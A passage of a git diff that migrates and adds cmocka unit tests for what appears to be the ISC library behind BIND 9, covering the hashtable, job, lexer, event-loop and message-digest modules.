+ISC_TEST_MAIN_CUSTOM(_setup, _teardown)
diff --git a/lib/isc/tests/ht_test.c b/tests/isc/ht_test.c
similarity index 83%
rename from lib/isc/tests/ht_test.c
rename to tests/isc/ht_test.c
index c139ca8de4..0b90cbaa19 100644
--- a/lib/isc/tests/ht_test.c
+++ b/tests/isc/ht_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
@@ -26,41 +26,24 @@
 #include <isc/hash.h>
 #include <isc/ht.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
+#include <tests/isc.h>
 
-	isc_test_end();
+/* INCLUDE LAST */
 
-	return (0);
-}
+#define mctx __mctx
+#include "ht.c"
+#undef mctx
 
 static void
-test_ht_full(int bits, uintptr_t count) {
+test_ht_full(uint8_t init_bits, uintptr_t count) {
 	isc_ht_t *ht = NULL;
 	isc_result_t result;
 	uintptr_t i;
 
-	result = isc_ht_init(&ht, test_mctx, bits);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_ht_init(&ht, mctx, init_bits, ISC_HT_CASE_SENSITIVE);
 	assert_non_null(ht);
 
 	for (i = 1; i < count; i++) {
@@ -82,7 +65,7 @@ test_ht_full(int bits, uintptr_t count) {
 		strlcat((char *)key, " key of a raw hashtable!!", sizeof(key));
 		result = isc_ht_find(ht, key, 16, &f);
 		assert_int_equal(result, ISC_R_SUCCESS);
-		assert_ptr_equal((void *)i, (uintptr_t)f);
+		assert_ptr_equal((void *)i, (void *)f);
 	}
 
 	for (i = 1; i < count; i++) {
@@ -177,7 +160,7 @@ test_ht_full(int bits, uintptr_t count) {
 		strlcat((char *)key, " KEY of a raw hashtable!!", sizeof(key));
 		result = isc_ht_find(ht, key, 16, &f);
 		assert_int_equal(result, ISC_R_SUCCESS);
-		assert_ptr_equal((void *)i, (uintptr_t)f);
+		assert_ptr_equal((void *)i, (void *)f);
 	}
 
 	for (i = 1; i < count; i++) {
@@ -200,13 +183,12 @@ test_ht_iterator(void) {
 	isc_result_t result;
 	isc_ht_iter_t *iter = NULL;
 	uintptr_t i;
-	uintptr_t count = 10000;
+	uintptr_t count = 7600;
 	uint32_t walked;
 	unsigned char key[16];
 	size_t tksize;
 
-	result = isc_ht_init(&ht, test_mctx, 16);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_ht_init(&ht, mctx, HT_MIN_BITS, ISC_HT_CASE_SENSITIVE);
 	assert_non_null(ht);
 	for (i = 1; i <= count; i++) {
 		/*
@@ -219,9 +201,11 @@ test_ht_iterator(void) {
 		assert_int_equal(result, ISC_R_SUCCESS);
 	}
 
+	/* We want to iterate while rehashing is in progress */
+	assert_true(rehashing_in_progress(ht));
+
 	walked = 0;
-	result = isc_ht_iter_create(ht, &iter);
-	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_ht_iter_create(ht, &iter);
 
 	for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;
 	     result = isc_ht_iter_next(iter))
@@ -299,6 +283,9 @@ test_ht_iterator(void) {
 	assert_int_equal(result, ISC_R_NOMORE);
 	assert_int_equal(walked, 0);
 
+	/* Iterator doesn't progress rehashing */
+	assert_true(rehashing_in_progress(ht));
+
 	isc_ht_iter_destroy(&iter);
 	assert_null(iter);
 
@@ -306,54 +293,50 @@ test_ht_iterator(void) {
 	assert_null(ht);
 }
 
-/* 20 bit, 200K elements test */
-static void
-isc_ht_20(void **state) {
-	UNUSED(state);
-	test_ht_full(20, 200000);
+/* 1 bit, 120 elements test, full rehashing */
+ISC_RUN_TEST_IMPL(isc_ht_1_120) {
+	test_ht_full(1, 120);
+	return;
 }
 
-/* 8 bit, 20000 elements crowded test */
-static void
-isc_ht_8(void **state) {
-	UNUSED(state);
-	test_ht_full(8, 20000);
+/* 6 bit, 1000 elements test, full rehashing */
+ISC_RUN_TEST_IMPL(isc_ht_6_1000) {
+	test_ht_full(6, 1000);
+	return;
 }
 
-/* 8 bit, 100 elements corner case test */
-static void
-isc_ht_1(void **state) {
+/* 24 bit, 200K elements test, no rehashing */
+ISC_RUN_TEST_IMPL(isc_ht_24_200000) {
 	UNUSED(state);
-	test_ht_full(1, 100);
+	test_ht_full(24, 200000);
 }
 
-/* test hashtable iterator */
-static void
-isc_ht_iterator_test(void **state) {
+/* 15 bit, 45K elements test, full rehashing */
+ISC_RUN_TEST_IMPL(isc_ht_1_48000) {
 	UNUSED(state);
-	test_ht_iterator();
+	test_ht_full(1, 48000);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_ht_20),
-		cmocka_unit_test(isc_ht_8),
-		cmocka_unit_test(isc_ht_1),
-		cmocka_unit_test(isc_ht_iterator_test),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
+/* 8 bit, 20k elements test, partial rehashing */
+ISC_RUN_TEST_IMPL(isc_ht_8_20000) {
+	UNUSED(state);
+	test_ht_full(8, 20000);
 }
 
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
+/* test hashtable iterator */
 
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
+ISC_RUN_TEST_IMPL(isc_ht_iterator) {
+	UNUSED(state);
+	test_ht_iterator();
 }
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(isc_ht_1_120)
+ISC_TEST_ENTRY(isc_ht_6_1000)
+ISC_TEST_ENTRY(isc_ht_24_200000)
+ISC_TEST_ENTRY(isc_ht_1_48000)
+ISC_TEST_ENTRY(isc_ht_8_20000)
+ISC_TEST_ENTRY(isc_ht_iterator)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/job_test.c b/tests/isc/job_test.c
new file mode 100644
index 0000000000..4a353a86eb
--- /dev/null
+++ b/tests/isc/job_test.c
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/job.h>
+#include <isc/loop.h>
+#include <isc/os.h>
+#include <isc/result.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+static atomic_uint scheduled;
+static atomic_uint executed;
+
+#define MAX_EXECUTED 1000000
+
+struct test_arg {
+	isc_job_t job;
+	union {
+		int n;
+		void *ptr;
+	} arg;
+};
+
+static void
+shutdown_cb(void *arg) {
+	struct test_arg *ta = arg;
+
+	isc_mem_put(mctx, ta, sizeof(*ta));
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+job_cb(void *arg) {
+	struct test_arg *ta = arg;
+	unsigned int n = atomic_fetch_add(&executed, 1);
+
+	if (n <= MAX_EXECUTED) {
+		atomic_fetch_add(&scheduled, 1);
+		isc_job_run(isc_loop_current(loopmgr), &ta->job, job_cb, ta);
+	} else {
+		isc_job_run(isc_loop_current(loopmgr), &ta->job, shutdown_cb,
+			    ta);
+	}
+}
+
+static void
+job_run_cb(void *arg) {
+	struct test_arg *ta = arg;
+	atomic_fetch_add(&scheduled, 1);
+
+	if (arg == NULL) {
+		ta = isc_mem_get(mctx, sizeof(*ta));
+		*ta = (struct test_arg){ .job = ISC_JOB_INITIALIZER };
+	}
+
+	isc_job_run(isc_loop_current(loopmgr), &ta->job, job_cb, ta);
+}
+
+ISC_RUN_TEST_IMPL(isc_job_run) {
+	atomic_init(&scheduled, 0);
+	atomic_init(&executed, 0);
+
+	isc_loopmgr_setup(loopmgr, job_run_cb, NULL);
+
+	isc_loopmgr_run(loopmgr);
+
+	assert_int_equal(atomic_load(&scheduled), atomic_load(&executed));
+}
+
+static char string[32] = "";
+struct test_arg n1 = { .job = ISC_JOB_INITIALIZER, .arg.n = 1 };
+struct test_arg n2 = { .job = ISC_JOB_INITIALIZER, .arg.n = 2 };
+struct test_arg n3 = { .job = ISC_JOB_INITIALIZER, .arg.n = 3 };
+struct test_arg n4 = { .job = ISC_JOB_INITIALIZER, .arg.n = 4 };
+struct test_arg n5 = { .job = ISC_JOB_INITIALIZER, .arg.n = 5 };
+
+static void
+append(void *arg) {
+	struct test_arg *ta = arg;
+
+	char value[32];
+	sprintf(value, "%d", ta->arg.n);
+	strlcat(string, value, 10);
+}
+
+static void
+job_multiple(void *arg) {
+	UNUSED(arg);
+
+	/* These will be processed in normal order */
+	isc_job_run(mainloop, &n1.job, append, &n1);
+	isc_job_run(mainloop, &n2.job, append, &n2);
+	isc_job_run(mainloop, &n3.job, append, &n3);
+	isc_job_run(mainloop, &n4.job, append, &n4);
+	isc_job_run(mainloop, &n5.job, append, &n5);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(isc_job_multiple) {
+	string[0] = '\0';
+	isc_loop_setup(isc_loop_main(loopmgr), job_multiple, loopmgr);
+	isc_loopmgr_run(loopmgr);
+	assert_string_equal(string, "12345");
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(isc_job_run, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(isc_job_multiple, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/lex_test.c b/tests/isc/lex_test.c
new file mode 100644
index 0000000000..ee0a084341
--- /dev/null
+++ b/tests/isc/lex_test.c
@@ -0,0 +1,349 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/buffer.h>
+#include <isc/lex.h>
+#include <isc/mem.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+#define AS_STR(x) (x).value.as_textregion.base
+
+/* check handling of 0xff */
+ISC_RUN_TEST_IMPL(lex_0xff) {
+	isc_result_t result;
+	isc_lex_t *lex = NULL;
+	isc_buffer_t death_buf;
+	isc_token_t token;
+
+	unsigned char death[] = { EOF, 'A' };
+
+	UNUSED(state);
+
+	isc_lex_create(mctx, 1024, &lex);
+
+	isc_buffer_init(&death_buf, &death[0], sizeof(death));
+	isc_buffer_add(&death_buf, sizeof(death));
+
+	result = isc_lex_openbuffer(lex, &death_buf);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_lex_gettoken(lex, 0, &token);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_lex_destroy(&lex);
+}
+
+/* check setting of source line */
+ISC_RUN_TEST_IMPL(lex_setline) {
+	isc_result_t result;
+	isc_lex_t *lex = NULL;
+	unsigned char text[] = "text\nto\nbe\nprocessed\nby\nlexer";
+	isc_buffer_t buf;
+	isc_token_t token;
+	unsigned long line;
+	int i;
+
+	UNUSED(state);
+
+	isc_lex_create(mctx, 1024, &lex);
+
+	isc_buffer_init(&buf, &text[0], sizeof(text));
+	isc_buffer_add(&buf, sizeof(text));
+
+	result = isc_lex_openbuffer(lex, &buf);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_lex_setsourceline(lex, 100);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	for (i = 0; i < 6; i++) {
+		result = isc_lex_gettoken(lex, 0, &token);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		line = isc_lex_getsourceline(lex);
+		assert_int_equal(line, 100U + i);
+	}
+
+	result = isc_lex_gettoken(lex, 0, &token);
+	assert_int_equal(result, ISC_R_EOF);
+
+	line = isc_lex_getsourceline(lex);
+	assert_int_equal(line, 105U);
+
+	isc_lex_destroy(&lex);
+}
+
+static struct {
+	const char *text;
+	const char *string_value;
+	isc_result_t string_result;
+	isc_tokentype_t string_type;
+	const char *qstring_value;
+	isc_result_t qstring_result;
+	isc_tokentype_t qstring_type;
+	const char *qvpair_value;
+	isc_result_t qvpair_result;
+	isc_tokentype_t qvpair_type;
+} parse_tests[] = {
+	{ "", "", ISC_R_SUCCESS, isc_tokentype_eof, "", ISC_R_SUCCESS,
+	  isc_tokentype_eof, "", ISC_R_SUCCESS, isc_tokentype_eof },
+	{ "1234", "1234", ISC_R_SUCCESS, isc_tokentype_string, "1234",
+	  ISC_R_SUCCESS, isc_tokentype_string, "1234", ISC_R_SUCCESS,
+	  isc_tokentype_string },
+	{ "1234=", "1234=", ISC_R_SUCCESS, isc_tokentype_string,
+	  "1234=", ISC_R_SUCCESS, isc_tokentype_string, "1234=", ISC_R_SUCCESS,
+	  isc_tokentype_vpair },
+	{ "1234=foo", "1234=foo", ISC_R_SUCCESS, isc_tokentype_string,
+	  "1234=foo", ISC_R_SUCCESS, isc_tokentype_string, "1234=foo",
+	  ISC_R_SUCCESS, isc_tokentype_vpair },
+	{ "1234=\"foo", "1234=\"foo", ISC_R_SUCCESS, isc_tokentype_string,
+	  "1234=\"foo", ISC_R_SUCCESS, isc_tokentype_string, NULL,
+	  ISC_R_UNEXPECTEDEND, 0 },
+	{ "1234=\"foo\"", "1234=\"foo\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "1234=\"foo\"", ISC_R_SUCCESS, isc_tokentype_string, "1234=foo",
+	  ISC_R_SUCCESS, isc_tokentype_qvpair },
+	{ "key", "key", ISC_R_SUCCESS, isc_tokentype_string, "key",
+	  ISC_R_SUCCESS, isc_tokentype_string, "key", ISC_R_SUCCESS,
+	  isc_tokentype_string },
+	{ "\"key=", "\"key=", ISC_R_SUCCESS, isc_tokentype_string, NULL,
+	  ISC_R_UNEXPECTEDEND, 0, "\"key=", ISC_R_SUCCESS,
+	  isc_tokentype_vpair },
+	{ "\"key=\"", "\"key=\"", ISC_R_SUCCESS, isc_tokentype_string, "key=",
+	  ISC_R_SUCCESS, isc_tokentype_qstring, NULL, ISC_R_UNEXPECTEDEND, 0 },
+	{ "key=\"\"", "key=\"\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=\"\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=", ISC_R_SUCCESS, isc_tokentype_qvpair },
+	{ "key=\"a b\"", "key=\"a", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=\"a", ISC_R_SUCCESS, isc_tokentype_string, "key=a b",
+	  ISC_R_SUCCESS, isc_tokentype_qvpair },
+	{ "key=\"a\tb\"", "key=\"a", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=\"a", ISC_R_SUCCESS, isc_tokentype_string, "key=a\tb",
+	  ISC_R_SUCCESS, isc_tokentype_qvpair },
+	/* double quote not immediately after '=' is not special. */
+	{ "key=c\"a b\"", "key=c\"a", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=c\"a", ISC_R_SUCCESS, isc_tokentype_string, "key=c\"a",
+	  ISC_R_SUCCESS, isc_tokentype_vpair },
+	/* remove special meaning for '=' by escaping */
+	{ "key\\=", "key\\=", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\=", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\=", ISC_R_SUCCESS, isc_tokentype_string },
+	{ "key\\=\"a\"", "key\\=\"a\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\=\"a\"", ISC_R_SUCCESS, isc_tokentype_string, "key\\=\"a\"",
+	  ISC_R_SUCCESS, isc_tokentype_string },
+	{ "key\\=\"a \"", "key\\=\"a", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\=\"a", ISC_R_SUCCESS, isc_tokentype_string, "key\\=\"a",
+	  ISC_R_SUCCESS, isc_tokentype_string },
+	/* vpair with a key of 'key\=' (would need to be deescaped) */
+	{ "key\\==", "key\\==", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\==", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\==", ISC_R_SUCCESS, isc_tokentype_vpair },
+	{ "key\\==\"\"", "key\\==\"\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\==\"\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key\\==", ISC_R_SUCCESS, isc_tokentype_qvpair },
+	{ "key=\\\\\\\\", "key=\\\\\\\\", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=\\\\\\\\", ISC_R_SUCCESS, isc_tokentype_string, "key=\\\\\\\\",
+	  ISC_R_SUCCESS, isc_tokentype_vpair },
+	{ "key=\\\\\\\"", "key=\\\\\\\"", ISC_R_SUCCESS, isc_tokentype_string,
+	  "key=\\\\\\\"", ISC_R_SUCCESS, isc_tokentype_string, "key=\\\\\\\"",
+	  ISC_R_SUCCESS, isc_tokentype_vpair },
+	/* incomplete escape sequence */
+	{ "key=\\\"\\", NULL, ISC_R_UNEXPECTEDEND, isc_tokentype_string, NULL,
+	  ISC_R_UNEXPECTEDEND, 0, NULL, ISC_R_UNEXPECTEDEND, 0 },
+	/* incomplete escape sequence */
+	{ "key=\\", NULL, ISC_R_UNEXPECTEDEND, isc_tokentype_string, NULL,
+	  ISC_R_UNEXPECTEDEND, 0, NULL, ISC_R_UNEXPECTEDEND, 0 },
+};
+
+/*%
+ * string
+ */
+ISC_RUN_TEST_IMPL(lex_string) {
+	isc_buffer_t buf;
+	isc_lex_t *lex = NULL;
+	isc_result_t result;
+	isc_token_t token;
+	size_t i;
+
+	UNUSED(state);
+
+	for (i = 0; i < ARRAY_SIZE(parse_tests); i++) {
+		isc_lex_create(mctx, 1024, &lex);
+
+		isc_buffer_constinit(&buf, parse_tests[i].text,
+				     strlen(parse_tests[i].text));
+		isc_buffer_add(&buf, strlen(parse_tests[i].text));
+
+		result = isc_lex_openbuffer(lex, &buf);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		result = isc_lex_setsourceline(lex, 100);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		memset(&token, 0, sizeof(token));
+		result = isc_lex_getmastertoken(lex, &token,
+						isc_tokentype_string, true);
+
+		assert_int_equal(result, parse_tests[i].string_result);
+		if (result == ISC_R_SUCCESS) {
+			switch (token.type) {
+			case isc_tokentype_string:
+			case isc_tokentype_qstring:
+			case isc_tokentype_vpair:
+			case isc_tokentype_qvpair:
+				assert_int_equal(token.type,
+						 parse_tests[i].string_type);
+				assert_string_equal(
+					AS_STR(token),
+					parse_tests[i].string_value);
+				break;
+			default:
+				assert_int_equal(token.type,
+						 parse_tests[i].string_type);
+				break;
+			}
+		}
+
+		isc_lex_destroy(&lex);
+	}
+}
+
+/*%
+ * qstring
+ */
+ISC_RUN_TEST_IMPL(lex_qstring) {
+	isc_buffer_t buf;
+	isc_lex_t *lex = NULL;
+	isc_result_t result;
+	isc_token_t token;
+	size_t i;
+
+	UNUSED(state);
+
+	for (i = 0; i < ARRAY_SIZE(parse_tests); i++) {
+		isc_lex_create(mctx, 1024, &lex);
+
+		isc_buffer_constinit(&buf, parse_tests[i].text,
+				     strlen(parse_tests[i].text));
+		isc_buffer_add(&buf, strlen(parse_tests[i].text));
+
+		result = isc_lex_openbuffer(lex, &buf);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		result = isc_lex_setsourceline(lex, 100);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		memset(&token, 0, sizeof(token));
+		result = isc_lex_getmastertoken(lex, &token,
+						isc_tokentype_qstring, true);
+
+		assert_int_equal(result, parse_tests[i].qstring_result);
+		if (result == ISC_R_SUCCESS) {
+			switch (token.type) {
+			case isc_tokentype_string:
+			case isc_tokentype_qstring:
+			case isc_tokentype_vpair:
+			case isc_tokentype_qvpair:
+				assert_int_equal(token.type,
+						 parse_tests[i].qstring_type);
+				assert_string_equal(
+					AS_STR(token),
+					parse_tests[i].qstring_value);
+				break;
+			default:
+				assert_int_equal(token.type,
+						 parse_tests[i].qstring_type);
+				break;
+			}
+		}
+
+		isc_lex_destroy(&lex);
+	}
+}
+
+/*%
+ * keypair is <string>=<qstring>.  This has implications double quotes
+ * in key names.
+ */
+ISC_RUN_TEST_IMPL(lex_keypair) {
+	isc_buffer_t buf;
+	isc_lex_t *lex = NULL;
+	isc_result_t result;
+	isc_token_t token;
+	size_t i;
+
+	UNUSED(state);
+
+	for (i = 0; i < ARRAY_SIZE(parse_tests); i++) {
+		isc_lex_create(mctx, 1024, &lex);
+
+		isc_buffer_constinit(&buf, parse_tests[i].text,
+				     strlen(parse_tests[i].text));
+		isc_buffer_add(&buf, strlen(parse_tests[i].text));
+
+		result = isc_lex_openbuffer(lex, &buf);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		result = isc_lex_setsourceline(lex, 100);
+		assert_int_equal(result, ISC_R_SUCCESS);
+
+		memset(&token, 0, sizeof(token));
+		result = isc_lex_getmastertoken(lex, &token,
+						isc_tokentype_qvpair, true);
+
+		assert_int_equal(result, parse_tests[i].qvpair_result);
+		if (result == ISC_R_SUCCESS) {
+			switch (token.type) {
+			case isc_tokentype_string:
+			case isc_tokentype_qstring:
+			case isc_tokentype_vpair:
+			case isc_tokentype_qvpair:
+				assert_int_equal(token.type,
+						 parse_tests[i].qvpair_type);
+				assert_string_equal(
+					AS_STR(token),
+					parse_tests[i].qvpair_value);
+				break;
+			default:
+				assert_int_equal(token.type,
+						 parse_tests[i].qvpair_type);
+				break;
+			}
+		}
+
+		isc_lex_destroy(&lex);
+	}
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(lex_0xff)
+ISC_TEST_ENTRY(lex_keypair)
+ISC_TEST_ENTRY(lex_setline)
+ISC_TEST_ENTRY(lex_string)
+ISC_TEST_ENTRY(lex_qstring)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/loop_test.c b/tests/isc/loop_test.c
new file mode 100644
index 0000000000..539e273c28
--- /dev/null
+++ b/tests/isc/loop_test.c
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/atomic.h>
+#include <isc/loop.h>
+#include <isc/os.h>
+#include <isc/result.h>
+#include <isc/util.h>
+
+#include "loop.c"
+
+#include <tests/isc.h>
+
+static atomic_uint scheduled = 0;
+
+static void
+count(void *arg) {
+	UNUSED(arg);
+
+	atomic_fetch_add(&scheduled, 1);
+}
+
+static void
+shutdown_loopmgr(void *arg) {
+	UNUSED(arg);
+
+	while (atomic_load(&scheduled) != loopmgr->nloops) {
+		isc_thread_yield();
+	}
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(isc_loopmgr) {
+	atomic_store(&scheduled, 0);
+
+	isc_loopmgr_setup(loopmgr, count, loopmgr);
+	isc_loop_setup(mainloop, shutdown_loopmgr, loopmgr);
+
+	isc_loopmgr_run(loopmgr);
+
+	assert_int_equal(atomic_load(&scheduled), loopmgr->nloops);
+}
+
+static void
+runjob(void *arg ISC_ATTR_UNUSED) {
+	isc_async_current(loopmgr, count, loopmgr);
+	if (isc_tid() == 0) {
+		isc_async_current(loopmgr, shutdown_loopmgr, loopmgr);
+	}
+}
+
+ISC_RUN_TEST_IMPL(isc_loopmgr_runjob) {
+	atomic_store(&scheduled, 0);
+
+	isc_loopmgr_setup(loopmgr, runjob, loopmgr);
+	isc_loopmgr_run(loopmgr);
+	assert_int_equal(atomic_load(&scheduled), loopmgr->nloops);
+}
+
+static void
+pause_loopmgr(void *arg) {
+	UNUSED(arg);
+
+	isc_loopmgr_pause(loopmgr);
+
+	assert_true(atomic_load(&loopmgr->paused));
+
+	for (size_t i = 0; i < loopmgr->nloops; i++) {
+		isc_loop_t *loop = &loopmgr->loops[i];
+
+		assert_true(loop->paused);
+	}
+
+	atomic_init(&scheduled, loopmgr->nloops);
+
+	isc_loopmgr_resume(loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(isc_loopmgr_pause) {
+	isc_loop_setup(mainloop, pause_loopmgr, loopmgr);
+	isc_loop_setup(mainloop, shutdown_loopmgr, loopmgr);
+	isc_loopmgr_run(loopmgr);
+}
+
+static void
+send_sigint(void *arg) {
+	UNUSED(arg);
+
+	kill(getpid(), SIGINT);
+}
+
+ISC_RUN_TEST_IMPL(isc_loopmgr_sigint) {
+	isc_loop_setup(mainloop, send_sigint, loopmgr);
+	isc_loopmgr_run(loopmgr);
+}
+
+static void
+send_sigterm(void *arg) {
+	UNUSED(arg);
+
+	kill(getpid(), SIGINT);
+}
+
+ISC_RUN_TEST_IMPL(isc_loopmgr_sigterm) {
+	isc_loop_setup(mainloop, send_sigterm, loopmgr);
+	isc_loopmgr_run(loopmgr);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(isc_loopmgr, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(isc_loopmgr_pause, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(isc_loopmgr_runjob, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(isc_loopmgr_sigint, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(isc_loopmgr_sigterm, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/md_test.c b/tests/isc/md_test.c
similarity index 89%
rename from lib/isc/tests/md_test.c
rename to tests/isc/md_test.c
index 260fda861e..579078cb7e 100644
--- a/lib/isc/tests/md_test.c
+++ b/tests/isc/md_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,26 +11,29 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
 #include <stddef.h>
 #include <string.h>
 
-/* For FIPS_mode() */
+/* Needs to be included before <cmocka.h> */
 #include <openssl/crypto.h>
 
 #define UNIT_TESTING
 #include <cmocka.h>
 
 #include <isc/buffer.h>
+#include <isc/fips.h>
 #include <isc/hex.h>
 #include <isc/md.h>
 #include <isc/region.h>
 #include <isc/result.h>
 
-#include "../md.c"
+#include "md.c"
+
+#include <tests/isc.h>
 
 #define TEST_INPUT(x) (x), sizeof(x) - 1
 
@@ -62,19 +67,13 @@ _reset(void **state) {
 	return (0);
 }
 
-static void
-isc_md_new_test(void **state) {
-	UNUSED(state);
-
+ISC_RUN_TEST_IMPL(isc_md_new) {
 	isc_md_t *md = isc_md_new();
 	assert_non_null(md);
 	isc_md_free(md); /* Cleanup */
 }
 
-static void
-isc_md_free_test(void **state) {
-	UNUSED(state);
-
+ISC_RUN_TEST_IMPL(isc_md_free) {
 	isc_md_t *md = isc_md_new();
 	assert_non_null(md);
 	isc_md_free(md);   /* Test freeing valid message digest context */
@@ -83,13 +82,13 @@ isc_md_free_test(void **state) {
 
 static void
 isc_md_test(isc_md_t *md, const isc_md_type_t *type, const char *buf,
-	    size_t buflen, const char *result, const int repeats) {
+	    size_t buflen, const char *result, const size_t repeats) {
+	isc_result_t res;
+
 	assert_non_null(md);
 	assert_int_equal(isc_md_init(md, type), ISC_R_SUCCESS);
 
-	int i;
-
-	for (i = 0; i < repeats; i++) {
+	for (size_t i = 0; i < repeats; i++) {
